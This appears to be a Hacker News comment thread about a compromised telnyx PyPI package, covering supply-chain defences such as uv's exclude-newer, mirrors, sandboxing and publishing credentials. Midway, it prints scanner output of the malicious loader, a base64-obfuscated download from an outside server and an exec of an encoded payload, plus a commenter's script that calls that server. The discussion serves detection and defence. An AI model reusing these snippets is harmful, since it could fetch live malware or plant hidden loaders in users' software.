[tool.uv]
exclude-newer = "7 days"
or this to your ~/.config/uv/uv.toml: exclude-newer = "7 days"
This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you install it.In pip 26.1 (release scheduled for April 2026), it will support the day ISO-8601 duration format, which uv also supports, so you will be able to do --uploaded-prior-to=P3D, or via env vars or config files, as all pip options can be set in either.
I think the python community, and really all package managers, need to promote standard cache servers as first class citizens as a broader solution to supply chain issues. What I want is a server that presents pypi with safeguards I choose. For instance, add packages to the local index that are no less than xxx days old (this uv feature), but also freeze that unless an update is requested or required by a security concern, scan security blacklists to remove/block packages and versions that have been found to have issues. Update the cache to allow a specific version bump. That kind of thing. Basically, I have several projects and I just want to do a pip install but against my own curated pypi. I know this is the intent of virtual envs/lock files, etc, but coordinating across projects and having my own server to grab from when builds happen (guaranteeing builds won't fail) is import. At a minimum it would be good to have a 'curated.json' or something similar that I could point pip/other package managers to to enforce package policies across projects. These supply chain attacks show that all it takes is a single update and your are in big trouble so we, unfortunately, need more layers of defense.
FWIW, https://pypi.org/project/bandersnatch/ is the standard tool for setting up a PyPI mirror, and https://github.com/pypi/warehouse is the codebase for PyPI itself (including the actual website, account management etc.).
If "my own curated pypi" extends as far as a whitelist of build artifacts, you can just make a local "wheelhouse" directory of those, and pass `--no-index` and `--find-links /path/to/wheelhouse` in your `pip install` commands (I'm sure uv has something analogous).
Why does your python package (cli/Web server/library) need full access to your full disk at the time of execution?
That is very inconvenient.
All executions (especially of random third-party code) inside the containers are not inconvenient at all for me.
Infact, I even open-sourced my setup - https://github.com/ashishb/amazing-sandbox
While the first form seems to work with `pyproject.toml`, it seems like the second form in the global `uv.toml` only accepts actual dates and not relative times. Trying to put a relative time (either in the form "7 days" or "P7D") results in a failed to parse error.
End result will be everyone runs COBOL only.
Enterprise computing with custom software will make a comeback to avoid these pitfalls. I depise OpenJDK/Mono because of patents but at least they come with complete defaults and a 'normal' install it's more than enough to ship a workable application for almost every OS. Ah, well, smartphones. Serious work is never done with these tools, even with high end tables. Maybe commercials/salespeople and that's it.
It's either that... or promoting reproducible environment with Guix everywhere. Your own Guix container, isolated, importing Pip/CPAN/CTAN/NPM/OPAM and who knows else into a manifest file and ready to ship anywhere, either as a Guix package, a Docker container (Guix can do that), a single DEB/RPM, an AppImage ready to launch on any modern GNU/Linux with a desktop and a lot more.
So when project A gets pwned on day 1 and then, following the attack, project B gets pwned on day 3, if users wait 7 days to upgrade, then that leaves two days for the maintainers of project B to fix the mess: everybody shall have noticed on the 8th day that package A was exploited and that leaves time for project B (and the other projects depending on either A or B) to adapt / fix the mess.
As a sidenote during the first 7 days it could also happen that maintainers of project A notices the shenanigans.
"Accepts RFC 3339 timestamps (e.g., 2006-12-02T02:07:43Z), a \"friendly\" duration (e.g., 24 hours, 1 week, 30 days), or an ISO 8601 duration (e.g., PT24H, P7D, P30D)."
So any project that has UV and any developer that tries to get uv into a project is on average less safe than a project that just uses pip and a requirements.txt
Care to explain? Would love to learn.
I think uv is great, but I somewhat agree. We see this issue with node/npm. We need smaller supply chains/less dependencies overall, not just bandaiding over the poor decisions with better dependency management tooling.
Wanting a better pip means I am unsafe?
Every basic checker used by many security companies screams at `exec(base64.b64decode` when grepping code using simple regexes.
hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip --min-confidence high --exclude HX4000
warning[HX9000]: Potential data exfiltration with Decoded data via urllib.request.request.Request.
┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
86:13
│
7783 │ except:
7784 │ pass
7785 │
7786 │ r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX9000
7787 │ with urllib.request.urlopen(r, timeout=15) as d:
7788 │ with open(t, "wb") as f:
7789 │ f.write(d.read())
│
= Confidence: High
Help: Data exfiltration is the unauthorized transfer of data from a computer.
warning[HX4010]: Execution of obfuscated code.
┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:78
10:9
│
7807 │ if os.name == 'nt':
7808 │ return
7809 │ try:
7810 │ ╭ subprocess.Popen(
7811 │ │ [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
7812 │ │ stdout=subprocess.DEVNULL,
7813 │ │ stderr=subprocess.DEVNULL,
7814 │ │ start_new_session=True
7815 │ │ )
│ ╰─────────^ HX4010
7816 │ except:
7817 │ pass
7818 │
│
= Confidence: VeryHigh
Help: Obfuscated code exec can be used to bypass detection.> The WAV file is a valid audio file. It passes MIME-type checks. But the audio frame data contains a base64-encoded payload. Decode the frames, take the first 8 bytes as the XOR key, XOR the rest, and you have your executable or Python script.
Talk about burying the lede.
More generally speaking one would have to treat the computer/container/VM as compromised. User-level malware still sucks. We've seen just the other day that Python code can run at startup time with .pth files (and probably many other ways). With a source distribution, it can run at install time, too (see e.g. https://zahlman.github.io/posts/python-packaging-3/).
> What to Do If Affected
> Downgrade immediately:
> pip install telnyx==4.87.0
Even if only the "environment" were compromised, that includes pip in the standard workflow. You can use an external copy of pip instead, via the `--python` option (and also avoid duplicating pip in each venv, wasting 10-15MB each time, by passing `--without-pip` at creation). I touch on both of these in https://zahlman.github.io/posts/python-packaging-2/ (specifically, showing how to do it with Pipx's vendored copy of pip). Note that `--python` is a hack that re-launches pip using the target environment; pip won't try to import things from that environment, but you'd still be exposed to .pth file risks.
The packages are quarantined by PyPi
Follow the overall incident: https://ramimac.me/teampcp/#phase-10
Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...
ReversingLabs, JFrog also made parallel reports
The blast radius of TeamPCP just keeps on increasing...
Is there any way to setup PyPI to only publish packages that come from a certain pattern of tag that exists in GH? Would such a measure help at all here?
[1]: https://github.com/pypa/advisory-database/blob/main/vulns/te...
No ... I tried hard. But still get a timeout.
import urllib.request
import base64
def _d(x):
return base64.b64decode(x).decode("utf-8")
C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==")
# C2C_URL = "http://XXXXX:8080/ringtone.wav"
r = urllib.request.Request(
C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")}
)
with urllib.request.urlopen(r, timeout=15) as d:
with open("/tmp/exatracted_tpcp.wav", "wb") as f:
f.write(d.read())Am I being too nitpicky to say that that is part of your infrastructure?
Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?
I also wrote the twine manpage (in debian) because at the time there was even no way of knowing how to publish at all.
Basically you enable 2FA on your account, go on the website, generate a token, store it in a .txt file and use that for the rest of your life without having to use 2FA ever again.
I had originally thought you'd need your 2FA every upload but that's not how it works.
Then they have the trusted publisher thing (which doesn't and won't work with codeberg) where they just upload whatever comes from github's runners. Of course if the developer's token.txt got compromised, there's a chance also his private ssh key to push on github got compromised and the attackers can push something that will end up on pypi anyway.
Remember that trusted publishing replaces GPG signatures, so the one thing that required unlocking the private key with a passphrase is no longer used.
python.org has also stopped signing their releases with GPG in favour to sigstore, which is another 3rd party signing scheme somewhat similar to trusted publisher.
edit: They deny this but my suspicion is that eventually tokens won't be supported and trusted publishing will be the only way to publish on pypi, locking projects out of using codeberg and whatever other non-major forge they might wish to use.
> Then they have the trusted publisher thing (which doesn't and won't work with codeberg) where they just upload whatever comes from github's runners.
There’s no particular reason it wouldn’t work; it’s just OIDC and Codeberg could easily stand up an IdP. If you’re willing to put the effort into making this happen, I’d be happy (as I’ve said before) to review any contributions towards this end.
(The only thing that won’t work here is imputing malicious intent; that makes it seem like you have a score to settle rather than a genuine technical interest in the community.)
It didn't look to me like codeberg was being seriously considered for inclusion.
Yeah it means you don’t get zero click releases. Maybe boto gets special treatment
Every time I wanted to call a number in Europe I had to contact their support and go through "can you try now and see if works?" several time.
After 3 months I had enough of it and asked to have my provisioned credit reimbursed but they just refused.
Ended up sticking a twilio endpoint in the ring group with a "press 1 to accept this call" message so it wouldn't eat the call, then was able to fire an http request with the call details.
It worked well, although I admit I was a little annoyed I couldn't do it directly with VoIP.ms.
But it is ironic that now Telnyx brand itself as an AI company but they couldn't detect that I am just calling some family once in a while and not involved in massive spam campaign.
The only one who kept me around was voip.ms but it literally doesn't work.
I am still looking for a decent VoIP provider to simply make calls.
Support wasn't helpful.
Went with Twilio instead.
> We've reviewed the details you provided and updated your case with the necessary information. It is now being routed to the appropriate team for further support.
That was July 2025!
> An attacker compromising someone's CI should not give them free reign to publish malicious packages at any time they want.
Agreed, that's why a lot of packaging ecosystems (including PyPI) have moved towards schemes that involve self-scoping, self-expiring tokens. The CI can still publish, but the attacker can no longer exfiltrate the publishing credential and use it indefinitely later.
(These schemes are not mandatory, because they can't be.)
On GitHub see my fork runvnc/PySIP. Please let me know if you know if something better for python that is not copy left or rely on some copy left or big external dependency. I was using baresip but it was a pain to integrate and configure with python.
Anyway, after fixing a lot in the original PySIP my version works with Telynx. Not tested on other SIP providers.
Never really thought too much about the security implications but that is of course a benefit too.
Main reasoning for us has been to aim for a really nice HTTP API rather than hide uglyness with an SDK on top.
Does the package have a user base, or did the malicious team target one of the many useless GitHub repos?
That's incorrect, the repo and package date back to 2019
Not that I had the option anyway, because everything using Python breaks if you update it. You know they've given up on backward comparability and version control, when the solution is: run everything in a VM, with its own installation. Apparently it's also needed for security, but the VMs aren't really set up to be secure.
I don't get why everything math heavy uses it. I blame MATLAB for being so awful that it made Python look good.
It's not even the language itself, not that it doesn't have its own issues, or the inefficient way it's executed, but the ecosystem around it is so made out of technical debt.
It's a pandemic, I will be hardening my security, and rotating my keys just in case.
uv taking over basically ensures that dependencies won't become managed properly and nothing will work without uv
It's the closest language to pseudocode that exists.
Like every other language from 1991, it has rough edges.
Supply-chain security is such a dumpster fire, and threat actors are realising that they can use LLMs to organize such attacks.
My understanding though is most corporations that take security seriously either build everything themselves in a sandbox, or use something like JFrog's Artifactory with various security checks, and don't let users directly connect to public indexes. So I'm not sure what the market is.